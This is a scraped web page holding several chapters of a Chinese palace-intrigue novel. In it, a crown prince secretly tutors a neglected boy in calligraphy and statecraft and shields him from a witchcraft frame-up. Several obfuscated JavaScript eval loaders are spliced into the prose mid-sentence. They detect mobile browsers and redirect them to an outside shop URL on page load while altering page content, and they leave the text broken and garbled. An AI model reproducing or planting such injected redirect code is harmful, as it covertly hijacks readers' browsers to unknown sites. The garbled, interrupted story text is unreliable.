;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而更远处,京城的民宅街巷间,万千灯火依次亮起,与天上疏星交相辉映。偶尔燃起烟花,一簇簇在夜空中绽开,虽不及宫宴烟花的华丽规整,却更多了几分鲜活的生命力。 “瞧见没?”燕沧溟指着那一片人间灯火,声音在寒风中格外清亮,“那才是人间!是真正的年味儿!” 寒风凛冽,吹得人衣袂翻飞。莫忘之将一件厚披风裹在玉凌绝身上,自己则凭栏远眺,侧脸在明明灭灭的远处光影中,显得有些模糊。 玉凌绝看着脚下的宫闱万千,看着远处的尘世烟火,又看看身旁的两人。一种前所未有的感觉在他心中涌动。 “噼里啪啦——” 燕沧溟点燃了那几串炮仗,清脆的爆竹声在寂静的夜幕中突兀地响起,炸开一团团小小的硝烟,散发出特有的年节气味。玉凌绝被那声响惊得微微缩了下肩膀,随即,一种带着鲜活生气的喜悦,随着那声响一点点钻进他的心口。 莫忘之站在他身侧,看着夜空中飘落的雪花与消散的烟火的痕迹。“新年安康。”他的声音轻得像叹息,“愿来年……各自平安。” 燕沧溟揽住玉凌绝的肩膀,声音响亮:“新年安康!明年,肯定会更好!” 玉凌绝抬眼又迅速垂下,用几乎听不见的声音,也重复了一句: “新年……安康。” 莫忘之望着远方的人间烟火,伸出手接住几片冰凉的雪花,看着它们在掌心迅速消融。 “嗯。”他低声应了一声,消散在风中。 远远传来了辞旧迎新的钟鼓声,悠长沉浑,响彻皇城。 雪依旧在下,覆盖了旧岁的痕迹。桃符上的红色,在雪光与灯影中,显得格外鲜明。 岁寒,然后知松柏之后凋也。在这冰冷彻骨的宫廷深处,这一夜没有宫宴的虚与委蛇,没有御赐的珍馐美馔,只有一盏孤灯,几张窗花,一碗亲手包的饺子,几枚带着祝福的铜钱,三个身世迥异却命运交织的人,和一场在人间烟火之上肆意燃放的爆竹。 但这于玉凌绝而言,已是此生拥有的第一个,也是最好的一个年。 8. 【捌】 雪化尽后,废弃宫苑的泥地变得湿润狼藉,不再适合书写。莫忘之再来时,臂弯里便多了一个沉甸甸的樟木盒子。 他于那尚算完整的桌上打开盒盖,露出里面摆放齐整的文房四宝:一方青黑色的石砚,一块色泽沉郁的墨锭,两支大小不一,却看得出是精心挑选过的狼毫笔,还有一厚沓微微泛黄,质地粗糙的宣纸。 “雪化了,地脏。”莫忘之将东西一一摆开,“往后用这个。雪泥鸿爪,终是痕迹浅淡。” 玉凌绝的目光瞬间被吸引了过去。他捡过宫人偶尔丢弃的,沾染了墨迹的废纸,却从未如此近距离地接触过这些书写工具本身。那墨锭散发着一种浓郁的松烟香气,纸张触手微凉而柔韧,与他之前所用的枯枝和雪地是天壤之别。 他看着那些于他而言堪称奢靡的物件,手指不由自主地蜷缩了一下,没有继续动。 “既是识字,便该习字。纸上得来终觉浅。”莫忘之见他不动,也没催促,自己挽起衣袖,亲自示范该如何往砚台中注水,如何研墨。他的手指握着墨锭,在砚堂中徐徐划着圈,动作从容不迫,与这冷宫的破败格格不入。墨香渐渐弥散开来,冲淡了空气中的霉味。 玉凌绝站在一旁,看得目不转睛。他幻想着宫中太监准备朱笔御批时的场景,那是权力与森严,而此刻莫忘之研墨却透着一种难以言喻的宁静与风骨。 轮到玉凌绝自己尝试时,反而显得笨拙无比。不是水多漫溢,便是手下力道不均,染黑了他本就不算干净的手指,甚至脸颊也蹭上了几点乌黑。他有些懊恼,紧抿着唇,黑眸中闪过焦躁。 莫忘之没有责备,只默然铺开一张宣纸,悬腕运笔,笔尖在纸上游走,如行云流水,不过寥寥数笔,一个结构匀称,风骨初显的“永”字便跃然纸上。 八法具备,是启蒙的最佳范本。 “‘永’字八法,备尽楷则。先习此字,可通笔画根基。”莫忘之点着那字,逐一讲解侧、勒、弩、趯、策、掠、啄、磔的要点。他的声音不高,却字字清晰。“看准字帖,记其架构,再落笔。” 讲罢,莫忘之搁下笔看向他。“试试。” 玉凌绝盯着那个字,又看了看自己因枯瘦而略显颤抖的手,倔强地抿紧了唇。他伸出手抓起另一支笔,学着他的样子,蘸了墨,重重地落在纸上。 墨团瞬间晕开一大片,糊掉了那个典雅的字迹,笔画歪斜如同蚯蚓,结构松散得不堪一击。 他脸上瞬间涌起股被羞辱般的燥热,手一抖便不小心松开了毛笔,墨汁溅了几点在他和莫忘之的衣襟上。 莫忘之垂眸看了看衣上的墨点,神色未变,只伸手重新拾起那支笔,用清水涤净。“初学如幼童学步,跌倒是常事。”他的声音依旧平静,“摔了便不走了么?” 他起身走到玉凌绝身后,未等他反应过来就将笔递回他手中,微凉的手覆在玉凌绝的手背上,引导他调整握笔的姿势,指尖纠正着他每一个细微的差错。 “腕沉,指虚。力发于腰,贯于臂,止于指尖,而非死死攥住。”莫忘之的声音近在耳畔,气息却拂过玉凌绝的耳廓。 玉凌绝的身体比在雪地时更加僵硬,这是一种全然陌生,被侵入安全距离的战栗。那触碰带来的感觉过于清晰,透过衣衫传来对方身体的微温,指尖的凉意,掌心的温度,以及那萦绕在鼻尖,混合了墨香与对方身上清冽气息的味道,都让他脊背绷直,呼吸絮乱。他几乎能感觉到自己手背上细微的汗毛竖起。 “凝神。”对方的声音在耳畔响起,平和依旧,却带着不容置疑的力量,“意在笔先,心浮气躁,写出的字便也轻浮。” 玉凌绝猛地收敛心神,强迫自己将注意力集中在笔尖。他学着莫忘之的样子,蘸墨,刮拭,然后在那微黄的宣纸上落笔。 手腕依旧生涩,力道控制不稳,但那种笔锋触纸,墨迹晕开与树枝划地的感觉截然不同,毛笔是如此柔软而难以驾驭,墨汁在宣纸纤维间洇开的轨迹,带着不可预测的韵味。玉凌绝屏住呼吸,努力感受着手腕细微的运转与力量的传递,那歪斜的“永”字,虽依旧丑陋,却仿佛有了生命。 自那日后,练字便成了固定的功课。 莫忘之有时会坐在一旁看书,任由玉凌绝自己对着字帖摸索,只在笔画谬误太过时,才出言提点一二。 “这一撇,要有力。” “结构,记住间架。” 他的指尖微凉,点在玉凌绝的手腕或指节上,带着一种不容置疑的力道,调整着他僵硬的姿势。他的教导言简意赅,从不因玉凌绝的笨拙而斥责,也鲜少因他偶然的进步而褒奖。这种恒定不变的淡然,反而安抚了玉凌绝那颗过分敏感的心。 有时他则会亲自示范,写字时背脊挺直,神色专注,侧脸在从窗棂漏下的天光里显得异常柔和。玉凌绝便会停下笔偷偷看他,看他低垂的眼睫,看他偶尔因思索而微蹙的眉心,看他搁笔时指尖沾染的些许墨痕。 他发现自己开始期待这静谧的时光。空气中漂浮的墨香,毛笔与纸张摩擦的沙沙声,还有莫忘之身上那淡淡的松林般的气息,共同构成了一种令他安心的氛围。那些深埋心底的戾气与不安,仿佛都能在这日复一日的临摹中被暂时地安抚。 他写得越发用力,也越发认真。宣纸消耗得很快,起初满是歪扭的墨团,后来渐渐有了骨架,虽仍显稚嫩,却已能窥见一丝未来的风骨,带着与他性子相符的锋芒。 一直到他临摹那句诗:“会当凌绝顶 ,一览众山小。”写完后,他盯着那字看了许久,忽然低声问:“写得好了,便能……让人看见了吗?” 莫忘之闻言,从书卷中抬起头,目光落在那尚显稚拙却已有几分挺拔之意的字迹上,又看向玉凌绝那双带着希冀与不确定的黑眸。 他静默片刻,微微笑起来。 “嗯。”他应道,声音轻得像一声叹息,却又带着某种笃定,“不仅能让人看见,还能让该看见的人,不得不看。” 玉凌绝握紧了手中的笔,沉默地点了点头。 而他在练习“忘”字时总是格外认真,却总是把握不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105162|195781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好下半部分“心”字的姿态。不是过于局促,便是显得松散。 一次莫忘之看了片刻,忽然道:“‘心’在下,需托得住上方的‘亡’。如同……”他顿了顿,似乎在寻找合适的比喻,目光扫过玉凌绝专注的侧脸。 “……如同潜藏于深渊的暗流,表面平静,内里却需有承载与涌动之力。”他说着,再次伸手,却不是握住他的手腕,而是轻轻用指尖点在了玉凌绝左胸心口的位置。 那一触如同烙铁,玉凌绝浑身剧震,笔尖猛地一顿,一大团墨迹瞬间在纸上晕染开来,毁掉了那个即将写成的字。他愕然抬头,撞上莫忘之近在咫尺的目光。对方似乎也愣了一下,随即神色如常地收回手,仿佛刚才那逾矩的触碰只是无心之举。 “……亡失其心,便是为忘。”他声音很轻,像是怕惊扰了雨后清新的空气,“有些事,有些人,忘了也好。” 玉凌绝怔怔地看着那“亡”与“心”,又看向莫忘之平静无波的侧脸。他不太明白这话里的深意,却莫名觉得心口有些发堵。 “重写一张吧。”莫忘之淡淡道,转身去清理砚台。 玉凌绝却久久无法回神。心口被触碰的那一点,仿佛还残留着对方指尖微凉的触感,带着墨香,更带着一种难以言喻直抵灵魂深处的战栗。他低下头,看着纸上那团失败的墨迹,默默换上一张新纸,重新提笔。 这一次,他写得极慢,每一笔都仿佛用尽了全身的力气。那个“忘”字,终于在笔下渐渐成形,虽依旧稚拙,那下半部分的“心”,却仿佛真的带上了那隐而不发又沉甸甸的力量。 不习字时,莫忘之也会带来一些书。并非艰深的经史子集,而是一些游记,地方志,甚至还有几卷手抄的兵法概要。 “不必尽信,开阔眼界即可。”他如是说。 玉凌绝起初只是随便翻看,但那些书页间的山川河流,风土人情像是一扇扇在他黑暗世界里悄然打开的窗,透进了他从未想象过的光。他开始在莫忘之离开后就着从破窗漏进的月光,反复咀嚼那些文字,在心中默默勾勒那个广阔的,冷宫之外的世界。 当他读到那句“天将降大任于斯人也,必先苦其心志,劳其筋骨”时,捏着书页的手指微微收紧。他抬起头,看向坐在不远处的莫忘之,正就着那盏琉璃宫灯,用一根枯枝在地上随手勾勒着京城坊市的布局。 灯影勾勒着他的侧颜,长长的睫羽在眼下投下一小片阴影,浸染着他右眼的泪痣。他似乎察觉到了目光,抬眼望来。 “有何不解?” 玉凌绝迅速低下头,摇了摇。心中却翻涌着一个问题:这些“苦”与“劳”,是为了那个所谓的“大任”吗?那个“大任”又是什么?和他有关吗? 他没有问出口。但他隐隐感觉到,莫忘之教他这些绝非一时兴起,或单纯的怜悯。 有一种微弱却坚韧的东西,如同石缝里挣扎出的新芽,正在这冰冷的宫墙深处,悄然萌发。那是求知,是渴望,是一种连他自己都尚未完全明晰的,想要挣脱命运的束缚。 9. 【玖】 倒春寒的最后一场雪在某个清晨悄然化去,檐角滴落的水珠,敲在青石板上,发出清脆的声响。冷宫院里的那棵老槐树,似乎也挣扎着吐出了几星难以察觉的嫩绿。 自那次习字后,玉凌绝慢慢发现,莫忘之仿佛早已摸透了他所有潜藏的习惯与偏好。他会在玉凌绝对着艰深典籍蹙眉时,不着痕迹地递过一杯恰到好处温度的清水,仿佛知道这是他思考卡壳时不自觉的渴求。也会在他因练字过久而指尖微微颤抖时,恰好放下手中的书卷,漫不经心地说一句:“腕力不是一日之功,歇歇吧。” 随即一方浸了温水,带着淡雅药草香的帕子便会递到他手边。 有时是他看书倦了,会将头靠在玉凌绝尚且单薄的肩头小憩片刻。玉凌绝便会僵直着身体,连大气都不敢喘,目光却不由自主地落在那近在咫尺的侧脸上,掠过他紧闭的眼睫,以及眼睑下那颗在睡梦中也清晰可见的泪痣。直到肩头传来均匀清浅的呼吸声,他才会慢慢放松下来,鼻尖萦绕着对方发间清冽的气息,感受着那一点不沉却异常清晰的重压。 但他更多时候只是沉默地坐在那里,目光放空,玉凌绝却能感觉到,那目光偶尔会落在自己身上,带着一种…他看不懂的,恍如隔世的复杂与悲伤。 最让玉凌绝无所适从的,是那些突如其来又自然的肢体接触。讲书时,莫忘之若觉得某个典故艰涩,会自然地倾身过去,指尖直接点在书卷的某行字上,温热的呼吸几乎拂过玉凌绝的耳廓。“看这里,”他低声解释,玉凌绝则会瞬间僵直了背脊,鼻尖萦绕着对方身上清浅的,混合了书墨与药草的气息,心跳如擂鼓,却又贪婪地汲取着这短暂又令人安心的靠近。 有时对方在教他辨认星图时,会自然地从身后半环着他,握住他的手指向夜空中的某一处星辰,温热的气息拂过他的耳廓;有时是他因与燕沧溟练武后衣衫略显凌乱,对方会微垂着眼眸伸手为他整理衣领,抚平肩头的褶皱,或重新系好繁琐的衣结。 那天他因练习燕沧溟教的一套新拳法,不慎扭伤了手腕,当时只觉微痛,并未在意。夜里莫忘之来时,正看到他用左手有些笨拙地翻书。 “手怎么了?”莫忘之问得随意。 玉凌绝下意识想藏,却被莫忘之小心捉住了手腕。他的指尖微凉,力道却不容拒绝。仔细查看了那处微微红肿的关节后,眉头蹙了起来。他从袖中取出一个小巧的青瓷药瓶,倒出些许碧绿色的药膏在掌心焐热,然后力道均匀地涂抹在伤处。他的动作熟练而轻柔,指尖带着恰到好处的温度,慢慢化开淤血。 他的动作专注而熟练,指尖带着恰到好处的力道,将药膏的清凉与揉按的温热,一并渗入肌肤筋骨。 玉凌绝低着头,能看到莫忘之浓密如鸦羽的睫毛,能闻到他身上清冽的气息混合着药膏的淡香,能清晰地感受到对方指尖的纹路与温度,伤处的疼痛在那双灵巧的手下渐渐缓解,取而代之的是一种让人鼻尖发酸的安全感。他忽然想起燕沧溟偶尔提起关于母亲的模糊记忆,似乎……也应该是这般令人安心和眷恋的温度。 他鬼使神差地低声问:“你……为什么对我这么好?” 话一出口,他便后悔了,立刻绷紧了身体,垂下眼帘,不敢看莫忘之的表情。 而莫忘之涂药的动作未停,甚至没有抬头,只是平淡地回了一句,仿佛答案天经地义: “你是我师弟,不对你好,对谁好?” 师弟。 玉凌绝有点哽咽,他不知道为何对方如此执着于这份莫须有的关系,他想追问,可看着对方那平静无波,似乎刚才只是说了一句“今日天气尚可”的神情,所有话都堵在了喉咙里。 莫忘之揉按了约莫一炷香的功夫,才松开手,将药瓶塞进他手心,语气平常地嘱咐:“每日两次,揉开为止。习武需张弛有度,过犹不及。” 仿佛刚才那番逾矩的亲近,只是医者对伤患最寻常的照料。 玉凌绝握着那尚存对方指尖余温的药瓶,怔怔地点头。直到他的身影消失在宫墙尽头后依旧维持着那个姿势,手腕处仿佛还残留着那清晰无比的触感。 或许,这只是他随口一说。玉凌绝在心里对自己说。可那句“师弟”,连同这些日积月累又无处不在的熟稔与亲昵,莫忘之对他似乎全无尊卑之别,更无那层人与人之间惯常存在,小心翼翼的试探与距离。 这种毫无缘由的信任与亲近,像一张无形却坚韧的网,将玉凌绝牢牢罩住。他起初惶恐,戒备,试图在那过于坦然的目光中找出伪装的痕迹,却一次次徒劳无功,他发现自己所有的警惕和戒备都显得如此可笑和无力,就像蓄满力气的一拳,打中的却只是一团柔软而包容的云絮。 他开始习惯。习惯那偶尔覆上手背的微凉,习惯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那人只是静静地陪着他,直到他沉沉睡去。半梦半醒间,玉凌绝似乎感觉到那只微 凉的手温柔地抚摸过他的脸颊。 一种前所未有又巨大的安全感将他包裹。他不再觉得寒冷和恐惧。他想,或许这就是被珍视的感觉?尽管给予这份珍视的人,自己似乎都未曾察觉其分量。 玉凌绝不知道这份特别的优待从何而来,只能将其归结于自己是有用的,这个认知让他既感到些许隐秘的酸楚,又生出更强烈的,想要变得更有价值,更值得被如此对待的渴望。 10. 【拾】 春去秋来,天气已褪去了酷暑,透出几分爽朗。宫墙内的日子依旧按部就班,带着无形的压抑。但有些东西却在悄然改变。 莫忘之的探望渐渐多了项内容。 他不再只带衣食与书籍,偶尔,会带来一些零碎的讯息。有时是某位大臣因言获罪,有时是边关某场不起眼的摩擦,有时,甚至是国师与宰相门下某位官员看似平调实则贬谪的任免。 他说的随意,仿佛只是茶余饭后的闲谈,说完便用那双清凌的眸子看着玉凌绝,问:“你认为如何?” 玉凌绝起初只是茫然。他困于冷宫方寸之地,耳目闭塞,这些朝堂风云势力倾轧,于他而言遥远得如同另一个世界的话本。他只能根据莫忘之偶尔带来的书中故事,或自身在冷宫挣扎求存的那点微末经验,给出笨拙甚至可笑的答案。 但莫忘之从不嘲笑,也不纠正,只是静静地听。待他说完,才会用那平和的语调,将那些零碎的讯息如同散落的珠子般一一拾起,穿针引线,剖析出其下隐藏的派系关联,利益交换与帝王心术。 玉凌绝听得怔住。他黑沉沉的眸子里,第一次映出了超越冷宫围墙之外的,更为广阔却也更为幽暗的图景。那些他曾以为固若金汤的权柄与尊荣,在莫忘之轻描淡写的剖析下,竟显得如此脆弱而微妙,牵一发而动全身。 “权术之道,不在力搏,而在制衡。”莫忘之拾起地上一根枯枝,在泥地上随意划拉着,勾勒出几方势力的消长,“看得清,才能活得久。” 月光透过槐树的枝叶,在他的侧脸上投下斑驳的影,让他此刻的神情竟比那谈论诗词风月时,更添几分难以捉摸的深邃。 自那日后,莫忘之带来的“闲谈”便多了起来。他开始有意识地引导玉凌绝去观察,去联想,去推测。他会留下一些看似无关的线索,让玉凌绝自己去拼凑答案,也会提出一些两难的困局,让他思索破局之道。 下一次莫忘之带来的杂书上,某处关于河道治理的段落旁,便多了几行清峻的小楷批注,点出了文中策略的疏漏与另一种可能。玉凌绝盯着那几行字看了许久,仿佛能透过墨迹,看到那人提笔时平静无波的眼神。 玉凌绝的学习能力依旧惊人。他那在欺凌中磨砺出对恶意与危险的敏锐直觉,此刻被莫忘之引向了更复杂的权谋战场。他贪婪地吸收着莫忘之传授的一切,那些冰冷的算计,无情的权衡,在他心中迅速生根发芽。 他开始主动询问,问题越来越刁钻,眼神也越来越沉静。偶尔他甚至能举一反三,提出自己独到的见解。 “若依你之计,虽能重创国师,却难免让宰相坐收渔利,届时朝堂失衡,恐生更大动荡。”一次,听完玉凌绝带着几分狠厉的反击计划后,莫忘之淡淡道,“引狼驱虎,须知何时需缚住狼爪。” 玉凌绝抿紧了唇,眼底流出不甘,但更多的是一种被点醒的恍然。他不再仅仅满足于复仇般的快意,开始学着用他那种超然物外的眼光,去审视这盘巨大的棋局。 无数个深宫夜晚,那盏琉璃宫灯便被置于石桌一角,或悬于树枝之下。莫忘之清冷的嗓音在灯影里缓缓流淌,剖析着千里之外的朝堂风云。玉凌绝凝神静听,眸子映着跳动的灯火,那些冰冷的权术与制衡之道,仿佛也染上了灯光的温度,一点点刻入他的骨血。 玉凌绝偶尔走神,会注意到他右眼旁那点泪痣,在他垂眸思索时,仿佛一颗凝固的星子,缀在静谧的夜空。当他因玉凌绝某个精妙见解而微微颔首时,近唇角的那颗痣也随之轻轻一扬,带出几分难以捉摸的赞许。 莫忘之也会带来一些额外的东西,有时是一盒精致的颜料和几支画笔。 对方并未教他作画,只随意道:“心中世界未必全要诉诸刀兵笔墨,亦可寄情于此。” 玉凌绝对着那斑斓的色彩愣神许久,最终,他蘸着最浓的墨与最烈的朱砂,在废弃的窗棂纸上,画下了燕沧溟描述过的,他自己想象中的“大漠孤烟,长河落日”。笔法稚嫩,气势却已初显峥嵘。莫忘之看见,并未点评画作,只淡淡说了一句:“天地在心,很好。” 或是一盘残局。 “看看,能解否?”莫忘之将棋盘放在老槐树下那块还算平整的石墩上,自己则随意地靠坐在树根处,目光落在远处宫墙的飞檐上,似乎并不在意对方的回答。 玉凌绝起初只是沉默地看着,但少年的心性终究耐不住这种无声的挑战。他伸出依旧有些粗糙的手指,小心翼翼地移动了一枚棋子。 莫忘之收回目光,扫了一眼棋盘,未置一词,只跟着落下一子。 一局终了,玉凌绝输得毫无悬念。他不服气,抿着唇,眼睛死死盯住棋盘,在脑海里重新推演。莫忘之也不催促,任由他苦思,直到月色朦胧,才慢条斯理地将棋子一枚枚收回棋盒。 “谋局者,当先观势。你只盯着眼前得失,自然满盘皆输。”他声音平淡,像是在评论天气。 夜色深沉,莫忘之已离去多时。玉凌绝独坐残破殿宇,指尖无意识地在蒙尘的案几上划着方才所授的制衡之术。 玉凌绝依旧住在冷宫,吃着那人带来的食物,穿着那人送的棉衣。他明白那个人给予的,远不止是生存的必需品,而是在为自己撬开这四方宫墙的一角,让他窥见一个更广阔也更复杂的世界。 那个人在教他的,并非仅仅是活下去,而是……另一种更强大也更自由的生存方式。这感觉让他心跳加速,一种名为“野心”的东西,混合着对力量的渴望,在他心底破土而出。 他偶尔会抬头,看着对方想,这个人究竟想要什么?他教自己这一切,真的只是为了那句轻飘飘的“活着吧”吗?他为何要教自己这些?太子之尊,为何独独青睐他这冷宫弃子?若为培植心腹,何须倾囊相授帝王心术?若为利用……自己这无依无靠之身,除却性命,又有何物值得他这般费心筹谋? 思绪如乱麻,理不清,剪不断。唯有一点清晰:他所授之道,冰冷彻骨,却又真实得令人心惊。在这吃人的地方,多懂一分,便多一分活下去的指望。至于他目的何在……玉凌绝黑沉的眸子里闪过许多迷茫,这疑问如同种子,埋入心底,暂时无声。 而燕沧溟则会像一阵自由的风,突然卷入这片死寂的天地,带来宫墙外鲜活的气息。每从边关风尘仆仆归来时,她的肤色会更深一度,带着砂砾磨过的质感,而在宫中盘桓数日后,则会稍稍恢复些许蜜色,仿佛宫墙连她的阳光都想吞噬。 她依旧穿着利落的劲装,马尾高束,有时会带来几块新奇的胡饼,有时是几句粗粝却真实的边关传闻,也可能是一套简单却实用的强身健体的拳法。她会毫不客气地揉乱他的头发,会大声嘲笑他一开始练拳时的笨拙,也会在他终于能完整打下一套拳时,对他赞许的笑着。 “小兔崽子,字写得有几分样子了嘛!”她大大咧咧地拍玉凌绝的背,力道依旧控制着,却足以让他踉跄一下。她会抢过莫忘之带来的书卷,翻上几页便丢开,“尽是些弯弯绕绕,没劲!不如跟我学两招,强身健体,看谁还敢欺负你!” 玉凌绝对她从最初的无所适从,到渐渐能接下她抛来的礼物, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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为什么强者可以肆意凌辱弱者?为什么卑微者连一丝尊严都无法保有?这是他在这深宫冷院里,日复一日目睹的最赤裸的规则。 莫忘之终于侧过头,迎上他的目光。月光在他的侧脸上投下淡淡的阴影,他的眼神依旧平静,甚至带着早已了然的淡漠。 “因为这宫墙之内,许多人活着,靠的便是践踏更弱者来确认自身的存在。”他的声音清晰而冷静,像在剖析一道习题,“你想做哪一种?” 玉凌绝攥紧了拳,指甲陷进掌心。 他想做哪一种?他想做那个可以随意踢翻潲水桶的人吗?不,他见过莫忘之,见过燕沧溟,他们身上有一种东西,比那种虚张声势的强大更吸引他。 “我……”他张了张嘴,却不知该如何定义自己想要的“那种”。 莫忘之没有再追问,他重新抬起头,望向那弯冷月,仿佛刚才那个残酷的问题只是随风飘过的一片落叶。 “凌绝,”他忽然唤了他的名字,这是很少有的,“记住你看到的,记住你感受到的。无论是污秽,还是……月光。” 他的话语意味深长,玉凌绝似懂非懂。但他将这句话,连同那晚看到的潲水,跪地的小太监,老太监得意的笑,以及眼前这人平静无波的侧脸,一起深深地刻在了心里。 只是,当他看到莫忘之坐在身边,月光围在他周身,模模糊糊,神情疏淡得仿佛随时会化风而去时,一种莫名的恐慌又会悄然攫住玉凌绝的心脏。 他伸出手,第一次小心翼翼地拽住了莫忘之的一片衣袖。力道很轻,却带着不容忽视的执拗。 莫忘之垂眸,看了一眼那拽住自己衣袖指节发白的小手,又抬眼看向玉凌绝。小家伙紧抿着唇,黑眸里情绪翻涌,有依赖,有不安,还有一丝初生牛犊般试图抓住什么的凶狠。 他静默了片刻,终究没有拂开。他只是叹了口气,若有若无,随风散去。 “夜深了,今日便到此吧。” 他的声音依旧平静,却任由那片衣袖,留在了玉凌绝的手中。 11. 【拾壹】 岁月流逝,冷宫院落里的荒草黄了又绿,绿了又黄。 玉凌绝的身量抽高了些许,长成十五六岁的少年郎,虽依旧清瘦,但暗青色的衣袍衬得他玉青色的眼眸更加幽深。 他额前那些总是拂过眼睫的青色碎发依旧凌乱,那缕小麻花辫依旧系在耳后,随着他沉稳的步伐摆动。每当心绪不宁或强压怒火时,那小辫会因他绷紧的神经而被牵动,微微晃动,成为燕沧溟和莫忘之观察他内心的依仗。 他眉宇间那份属于濒死幼兽的惶然已褪去大半。他依旧沉默,但在看向宫人,看向远处巍峨殿宇时,已不再仅仅是仇恨,更多了一层莫忘之所赋予洞悉其权力脉络的了然。 然而一场春末的雨过后,莫忘之因着老皇帝一场突如其来的问道,被拘在宫中斋戒三日,未能如常前往冷宫。 就在第三日深夜,急促的脚步声和灯笼晃动的光影,粗暴地撕破了冷宫惯有的死寂。数名身着异色服制的内侍,在一个面白无须,眼神阴鸷的太监带领下,径直闯入玉凌绝栖身的破败院落。 “搜!”阴鸷太监嗓音尖利,目光如毒蛇般扫过角落里面色瞬间绷紧的玉凌绝,“有人举报,此地藏匿巫蛊厌胜之物,诅咒圣体!” 玉凌绝的心猛地沉了下去。巫蛊。这是宫中最为忌讳也最易栽赃的罪名,当年莫忘之的母后便是因此殒命。他几乎是立刻意识到,这绝非巧合。是那些老对头?还是……他不敢想下去,只觉得一股寒意从脚底直窜头顶,比冬日的风雪更刺骨。 杂物被粗暴地翻检捣毁,泥地被铁锹掘开。玉凌绝攥紧了拳,指甲深深掐入掌心,强迫自己站稳,眸子死死盯住那些翻箱倒柜的身影,脑中飞速盘算着对策,却发现任何挣扎在此刻都显得苍白无力。 就在一名内侍似乎要从某处废墟下掏摸出什么“证物”的千钧一发之际,一道平静无波的声音自身后响起: “深更半夜,刘秉笔不在司礼监当值,何时兼了这搜查缉捕的差事?” 所有人动作一僵。 只见莫忘之不知何时已立在院门处的阴影里,一身素色斋戒常服,手中提着那盏琉璃宫灯,灯光在他平静的脸上投下明暗交错的影,周身还带着雨后的微潮气息。他脸上并无怒色,甚至唇角还噙着一丝惯常的若有若无的笑容,只是那双眼眸在昏暗的灯光下毫无笑意。 那被称作刘秉笔的阴鸷太监脸色微变,随即挤出一个僵硬的笑:“原来是太子殿下。奴婢也是奉命行事,有人……” “奉谁的命?”莫忘之打断他,语气依旧平和,却带着不容置疑的份量,“父皇潜心斋戒,不问外事。是国师的手令,还是宰相的受旨?”他缓步上前,目光扫过一片狼藉的院落,最后落在那个即将掏出“证物”的内侍手上。 那内侍的手僵在半空,进退维谷。 莫忘之却不再看他,径直走到玉凌绝身前,用自己不算宽阔的背影将他严严实实地挡在了身后,仿佛天经地义。 “刘秉笔,”他重新看向那领头太监,声音微沉,“冷宫弃子,身无长物,何来的本事行巫蛊之事?尔等听风便是雨,搅扰宫闱清静,若惊了圣驾,或是……搜不出什么,这构陷皇子,惊扰斋戒的罪名,不知你,和你背后的人,担不担得起?” 他每说一句,刘秉笔的脸色就白上一分。莫忘之的话,字字未提维护,却句句敲在要害。斋戒期间闹出此事,无论结果如何,他们这些执行者都难逃干系,更可能直接触怒皇帝。 空气中的压力陡增。雨后的潮湿仿佛凝成了实质,压得人喘不过气。 刘秉笔眼神闪烁,死死盯着莫忘之那平静无波的脸,似乎想从中找出一点点虚张声势的痕迹,却一无所获。半晌,他腮帮子的肌肉狠狠抽动了一下,终是挤出一个比哭还难看的笑容。 “殿下……教训的是。怕是……怕是底下人弄错了地方。”他咬着牙,从齿缝里挤出这句话,随即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105165|195781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猛地一挥手,“我们走!” 一群人来时气势汹汹,去时却如潮水般退得干净,只留下满地狼藉和那令人作呕,被权力碾过的痕迹。 直到那些脚步声彻底消失在宫墙深处,玉凌绝紧绷的身体才微微一晃。他抬头,看着身前依旧挺直的背影,张了张嘴,却发现喉咙干涩得发不出任何声音。 废弃宫苑内一片狼藉。莫忘之沉默地提起那盏琉璃宫灯,光芒流淌,清晰地照出被翻掘的泥土,散乱的杂物,以及玉凌绝苍白脸上未褪的惊悸与戾气。灯光在他尚且稚嫩的侧脸上投下深邃的影子,此刻这温暖的光也映出了阴影下的森然。 莫忘之缓缓转过身。月光重新洒落,照亮他平静的眉眼,那上面依旧看不出多少波澜,只是眼底深处仿佛掠过些许疲惫。 他与玉凌绝平视,抬手拂去他肩头沾染的一点泥污。 “看到了?”他轻声问着,如同往常讲授课业时般格外平静,“这便是权力的游戏。不成执棋者,便永远是他人砧板上的鱼肉,连生死,都由不得自己。” 玉凌绝重重地点头,黑眸中先前那一点劫后余生的恍惚迅速褪去,燃起的是冰冷而炽烈的火焰。那是对力量的渴望,前所未有的清晰和坚定。 